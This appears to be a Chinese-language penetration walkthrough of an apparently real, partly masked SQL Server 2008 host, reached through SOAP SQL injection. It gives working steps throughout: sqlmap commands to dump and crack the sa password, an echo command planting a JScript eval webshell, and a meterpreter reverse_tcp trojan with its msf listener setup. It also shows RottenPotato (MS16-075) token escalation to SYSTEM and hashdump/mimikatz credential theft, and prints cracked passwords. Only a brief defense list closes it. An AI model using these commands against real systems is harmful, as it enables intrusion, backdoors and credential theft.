您好,登錄后才能下訂單哦!
soap注入某sql2008服務器結合msf如何進行提權,很多新手對此不是很清楚,為了幫助大家解決這個難題,下面小編將為大家詳細講解,有這方面需求的人可以來學習下,希望你能有所收獲。
在實際成功滲透過程中,漏洞的利用都是多個技術的融合,最新技術的實踐,本次滲透利用sqlmap來確認注入點,通過sqlmap來獲取webshell,結合msf來進行ms16-075的提權,最終獲取了目標服務器的系統權限。本文算是漏洞利用的一個新的拓展,在常規Nday提權不成功的情況下,結合msf進行ms16-075成功提權的一個經典案例。
1.1.1掃描soap注入漏洞
1.使用awvs中的web services scanner進行漏洞掃描 打開awvs,選擇web services scanner進行漏洞掃描,如圖1所示,在wsdl url中填寫目標url地址,注意一定是asmx?wsdl,有的是有asmx文件,如果沒有則可以直接填寫,例如:http://1**.***.***.***:8081/?wsdl。
圖1進行soap注入漏洞掃描
2.處理sql盲注
通過awvs掃描,確認該url地址存在sql盲注(26處),在awvs中,單擊右邊的“view http headers”,將其內容復制到一個文本文件中,同時處理存在漏洞的語句,在本例中例如:
需要將紅色字圖部分更換為”-1*”。
3.完整的header包中內容如下:
POST /Service1.asmx HTTP/1.1
Content-Type: text/xml
SOAPAction: "http://tempuri.org/ZcpdList"
Content-Length: 716
X-Requested-With: XMLHttpRequest
Referer: http://1**.***.***.***:8081/?wsdl
Host: 1**.***.***.***:8081
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/" xmlns:xsd="http://www.w3.org/1999/XMLSchema" xmlns:xsi="http://www.w3.org/1999/XMLSchema-instance" xmlns:m0="http://tempuri.org/" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:urn="http://tempuri.org/" xmlns:urn2="http://tempuri.org/AbstractTypes">
<SOAP-ENV:Header/>
<SOAP-ENV:Body>
<urn:ZcpdList>
<urn:Inventory_dhs>
<urn:string>-1*</urn:string>
</urn:Inventory_dhs>
</urn:ZcpdList>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
Response
1.1.2確認soap注入漏洞
1.使用sqlmap檢測是否存在sql注入漏洞 將前面的header中的內容保存為1**.***.***.***.txt,將該文件復制到sqlmap.py程序所在目錄,執行命令:sqlmap.py -r 1**.***.***.***.txt,對sqlmap提示的信息進行確認:
custom injection marker ('*') found in option '--data'. Do you want to process it? [Y/n/q] [color=Red]y[/color]
SOAP/XML data found in POST data. Do you want to process it? [Y/n/q][color=Red]y[/color]
如圖2所示,sqlmap確認該sql注入漏洞存在,且該數據庫服務器為windows 2008 R2,數據庫版本為sql server 2008,soap存在漏洞為union查詢。
圖2 存在soap注入漏洞
2.查看數據庫是否dba權限(1)自動提交參數進行測試如圖3所示,執行命令:sqlmap.py -r 1**.***.***.***.txt --is-dba --batch后,也要兩次確認y,由于使用了參數“batch”,sqlmap會自動進行提交判斷值。
圖3自動提交參數進行判斷
(2)獲取當前數據庫使用的用戶是dba賬號。 如圖4所示,在sqlmap中獲取當前用戶是dba,顯示結果為true。該結果表明數據庫是使用sa權限,可以通過os-shell參數來獲取webshell。
圖4判斷是否為dba賬號
3.獲取sa賬號密碼
如圖5所示,使用命令sqlmap.py -r 1**.***.***.***.txt --password --batch直接獲取該數據庫連接的所有賬號對應的密碼值:
圖5獲取sa賬號密碼
4.破解sa賬號密碼 在前面通過sqlmap成功獲取其數據庫密碼哈希值:
##MS_PolicyEventProcessingLogin## [1]:
password hash: 0x01001a7b0c5b5b347506dbc67aa8ffa2ad20f852076d8446a838 ##MS_PolicyTsqlExecutionLogin## [1]:
password hash: 0x01006c6443e1e42ca27773d413042ee8af2eea9026d44c8d4d1c sa [1]:
password hash: 0x0100b7b90b706f339288fb0ab4c8a099c4de53045d2de6297e28 將sa對應的密碼值“0x0100b7b90b706f339288fb0ab4c8a099c4de53045d2de6297e28”在www.cmd5.com進行查詢,如圖6所示,其解密結果為“qaz123WSX”。
圖6解密sa密碼哈希值
1.1.3通過--os-shell獲取webshell1.獲取os-shell在sqlmap中執行命令:sqlmap.py -r 1**.***.***.***.txt --os-shell,在sqlmap執行窗口中確認信息:
也可以執行sqlmap.py -r 1**.***.***.***.txt --os-shell --batch命令不用手工輸入。
2.尋找web程序所在目錄
(1)查看文件及目錄
執行dir c:\命令后,可以查看c目錄及文件,繼續查看“dir c:\inetpub\wwwroot”如圖7所示,在該文件夾中無web程序,排除該目錄。
圖7查看文件及目錄
(2)獲取網站真實目錄 通過依次查看c、d、e、f盤,在e盤獲取疑似網站程序文件,使用命令進行查看dir e:\software\AMS_NoFlow,如圖8所示。
圖8查看網站文件
3.測試網站真實目錄
(1)生成文件測試 如圖9所示,使用echo命令:echo "thisis test">e:\software\AMS_NoFlow\t.txt,在網站根目錄下生成t.txt文件。內容為thisis test。
圖9生成文件
(2)網站訪問測試
在瀏覽器中輸入地址http://1**.***.***.***/1.txt進行測試,如圖10所示,獲取內容跟預期一致,該目錄為網站真實物理地址。
圖10網站訪問測試
4. 獲取web.config配置文件內容
在os-shell中,執行type e:\software\AMS_NoFlow\web.config命令查看web.config文件中的內容,在sqlmap命令窗口由于設置問題,可能無法查看其完整的內容,不過sqlmap在其output目錄下,會保持詳細情況,如圖11所示,打開其log文件,可以看到其sa賬號對應的密碼為qaz123WSX,跟前面破解的sa密碼一致。
圖11查看web.config配置文件內容
5.獲取ip地址信息
如圖12所示,在os-shell中執行ipconfig命令,即可獲取該目標的IP地址配置情況,該目標對外配置獨立外網IP和內網IP地址,在os-shell中還可以執行其它命令。
圖12獲取IP地址
6. 獲取webshell測試
(1)生成shell文件
在os-shell中執行命令:
echo ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item["pass"],"unsafe");%^> > e:\software\AMS_NoFlow\cmd.aspx
如圖13所示,回顯結果顯示1,無其它信息,表面生成文件命令成功。
圖13 生成webshell
(2)獲取webshell 使用中國菜刀后門管理工具,創建記錄http://1**.***.***.***/cmd.aspx,一句話后門密碼:pass,如圖14所示,連接成功,成功獲取webshell。
圖14獲取webshell
1.1.4常規方法提權失敗
1.生成系統信息文件 在os-shell中執行命令:
2.下載Windows-Exploit-Suggester程序Windows-Exploit-Suggester下載地址:https://github.com/GDSSecurity/Windows-Exploit-Suggester/
3.更新漏洞庫并進行漏洞比對 在python中執行windows-exploit-suggester.py -u進行更新,同時對漏洞庫進行比對:windows-exploit-suggester.py --audit -l --database 2018-06-04-mssb.xls --systeminfo SYD1-0081DSB.txt > SYD1-0081DSB-day.txt,如圖15所示。
圖15進行漏洞比對
4.查看漏洞情況 在C:\Python27目錄打開SYD1-0081DSB-day.txt文件,如圖16所示,可以看到程序判斷該操作系統為windows 2008 R2版本,且存在多個漏洞,最新漏洞為ms16-075。
圖16查看漏洞情況
5.對存在的漏洞進行提權測試 按照漏洞編號,查找并整理exp文件,在目標服務器上進行提權測試,除ms16-075exp外,測試均失敗,無法提權。
1.1.5借助msf進行ms16-075提權
1.使用msf生成反彈木馬
在msf下面執行命令:
其中windows/meterpreter/reverse_tcp反彈端口類型,lhost是反彈連接的服務器Ip地址,注意該ip地址必須是獨立服務器,或者必須是外網端口映射,換句話說,就是反彈必須能夠接收,lport為反彈的端口,4433為生成的程序。
2.在監聽服務器上執行監聽命令
(1)啟動msf
msfconsole
(2)配置meterpreter參數
3.上傳4433.exe程序到目標服務器及執行
將4433.exe文件上傳到目標服務器,并通過中國彩刀或者os-shell進行執行。
4.查看系統信息
如圖17所示,目標反彈到監聽服務器上,執行sysinfo,獲取其系統信息。
圖17獲取系統信息
5.使用meterpreter自帶提權功能失敗
在meterpreter中分別執行getuid和getsystem命令,如圖18所示,未能成功提權。
圖18使用默認meterpreter提權失敗
6.使用ms16-075進行提權
(1)ms16-075可利用exp下載https://github.com/foxglovesec/RottenPotato
(2)上傳potato文件
通過webshell上傳potato.exe文件,或者在msf下面執行命令上傳:upload /root/potato.exe
(3)獲取系統權限 依次執行以下命令:
如圖19所示,成功獲取系統權限。
圖19獲取系統權限tokens
(4)獲取系統權限分別執行命令:
如圖20所示,成功獲取系統權限。
圖20獲取系統權限
(5)獲取密碼
在meterpreter下執行命令:run hashdump命令,如圖21所示,成功獲取該服務器密碼哈希值:Administrator:500:aad3b435b51404eeaad3b435b51404ee:a59a64a645487c1581dea603253c7920:::
圖21獲取密碼
在本例中還是用load mimikatz進行明文密碼獲取,但獲取效果不理想,執行命令:kerberos、livessp、msv、ssp、tspkg、wdigest獲取不到明文密碼,還可以執行命令mimikatz_command,進入mimikatz命令提示符下進行操作。
(6)破解ntml密碼 將ntml密碼哈希值a59a64a645487c1581dea603253c7920復制到cmd5.com進行破解, cmd5需要付費,還可以到:http://www.objectif-securite.ch/en/ophcrack.php和https://www.somd5.com/網站 進行密碼破解,如圖22所示,成功破解密碼。
圖22破解ntlm哈希值
7.登錄服務器 通過nmap -sS -Pn -A 1**.***.***.***或者masscan -p 1-65535 1**.***.***.***進行端口掃描,發現該服務器開放3389端口,使用mstsc進行登錄,如圖23所示,成功登錄該服務器。
圖23成功登錄服務器
1.1.6總結與防御
1.本次滲透主要命令匯總
(1)sqlmap執行命令
(2)os-shell下執行命令
ipconfigdir c:/echo "thisis test">e:\software\AMS_NoFlow\t.txtecho ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item["pass"],"unsafe");%^> > e:\software\AMS_NoFlow\cmd.aspx
(3)msf下執行命令生成反彈木馬:
(4)msf啟動及監聽
msfconsoleuse exploit/multi/handlerset PAYLOAD windows/meterpreter/reverse_tcpset LHOST 192.168.1.33(實際為外網IP地址)set LPORT 4433exploit
(5)ms16-075提權命令
use incognitolist_tokens -uexecute -cH -f ./potato.exelist_tokens -u impersonate_token "NT AUTHORITY\\SYSTEM"getuid
(6)獲取密碼run hashdump
(7)mimikatz進行密碼獲取
load mimikatzkerberos、livessp、msv、ssp、tspkg、wdigest(逐個命令測試,有的會顯示明文密碼)mimikatz_command:mimikatz命令提示窗口
(8)mimikatz命令行下獲取密碼(未做測試)
2.滲透總結
在本次滲透中,通過sqlmap進行soap注入測試,通過sqlmap判斷sql注入點可用,后續通過os-shell成功獲取了webshell。獲取webshell后,嘗試通過常規的Nday提權方法,結果失敗,后續通過msf配合進行ms16-075進行提權。Windows-Exploit-Suggester進行本地漏洞的判斷和測試效果還是可以的,通過其審計,使用最新漏洞進行提權,基本命中率在99%。
3.安全防御
成功滲透該服務器后,在該服務器上未發現有任何安全防護軟件,筆者根據經驗,建議做如下安全防御:
(1)對soap參數進行過濾,過濾危險的一些導致sql注入的參數。
(2)mssql數據庫使用低權限用戶進行數據庫連接。
(3)服務器定期進行補丁更新升級。
(4)安裝殺毒軟件、waf及硬件防火墻,增加攻擊成本和難度
看完上述內容是否對您有幫助呢?如果還想對相關知識有進一步的了解或閱讀更多相關文章,請關注億速云行業資訊頻道,感謝您對億速云的支持。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。